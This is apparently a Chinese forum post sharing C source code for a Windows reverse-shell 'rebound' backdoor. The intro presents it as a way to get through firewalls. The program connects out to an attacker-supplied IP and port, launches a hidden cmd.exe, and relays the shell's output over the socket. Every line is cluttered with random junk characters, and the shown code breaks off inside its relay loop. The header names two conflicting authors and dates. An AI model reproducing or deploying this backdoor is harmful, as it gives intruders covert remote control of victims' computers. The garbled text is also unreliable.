这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OcWKK!A
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/* ============================== ?7)v:$(G}
Rebound port in Windows NT )uAY_()/
By wind,2006/7 sZ&6g<8#y
===============================*/ Y|b,pC|,
#include 'hWA&Xx+
#include 'Q=)-
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#pragma comment(lib,"wsock32.lib") I6;6x
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void OutputShell(); r?Mf3U^G
SOCKET sClient; ks phO-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N;YFr
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void main(int argc,char **argv) 4x-,l1NMR
{ xv2c8g~vD
WSADATA stWsaData; S'$m3,l(k
int nRet; {T^D&i# o
SOCKADDR_IN stSaiClient,stSaiServer; p*g)-/mA
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if(argc != 3) V;R gO}
{ Q[#8ErUY
printf("Useage:\n\rRebound DestIP DestPort\n"); VHqoa>U,*
return; "|J6*s
} gloG_*W
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WSAStartup(MAKEWORD(2,2),&stWsaData); G na%|tUz|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EUI*:JU-
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stSaiClient.sin_family = AF_INET; ipMSMk7gx
stSaiClient.sin_port = htons(0); M0C)SU5"
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hR0a5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5Hj/7~ =
{ r{d@74
printf("Bind Socket Failed!\n");
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return; P}a$#a'!
} NTZ3Np`
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stSaiServer.sin_family = AF_INET; Z@x&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >oyf i:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); uUHWTyoO
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "]p&7
{ ` W);+s
printf("Connect Error!"); 19(x$=:
return; ^|vk^`S
} 6W3oIt
OutputShell(); BcpbS%S
} \VIY[6sn\M
}yrs6pQ
void OutputShell() wTR?8$
{ W[`ybGR<
char szBuff[1024]; _nzq(m1@
SECURITY_ATTRIBUTES stSecurityAttributes; UJp'v_hN
OSVERSIONINFO stOsversionInfo; 6A5.n?B{
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &@|? %
STARTUPINFO stStartupInfo; [3S17tTc3
char *szShell; @VOegf+N
PROCESS_INFORMATION stProcessInformation; Cb<7?),vK
unsigned long lBytesRead; MW+DqT.h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "8zMe L
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -*w2<DCn
stSecurityAttributes.lpSecurityDescriptor = 0; '
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stSecurityAttributes.bInheritHandle = TRUE; G.XxlI}
;}S_ PnwC@
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Fq+Cr?-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?uTuO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,mCf{V]#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G] tT=X[
stStartupInfo.wShowWindow = SW_HIDE; N`N=}&v ]
stStartupInfo.hStdInput = hReadPipe; F+R1}5-3cl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8,+T[S
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GetVersionEx(&stOsversionInfo); O3slYd&V
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switch(stOsversionInfo.dwPlatformId) XZ$g~r
{ +J| LfXgB
case 1: Qz{Vl>"
szShell = "command.com"; ^_G#JJ\@$
break; L&NpC&>wD
default: *Z.{1
szShell = "cmd.exe"; qa~ju\jm.
break; Pk5\v0vkg
} zTG1 0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); MGwXZ7?E
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send(sClient,szMsg,77,0); :nnch?J_
while(1) @*op5qVw
{ %(?;`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); v/]xdP^Z
if(lBytesRead) +ZE"pA^C
{ Op9+5]XF
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1T~`$zS7
send(sClient,szBuff,lBytesRead,0); 6,~
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} xQ?$H?5B<
else PDgZb
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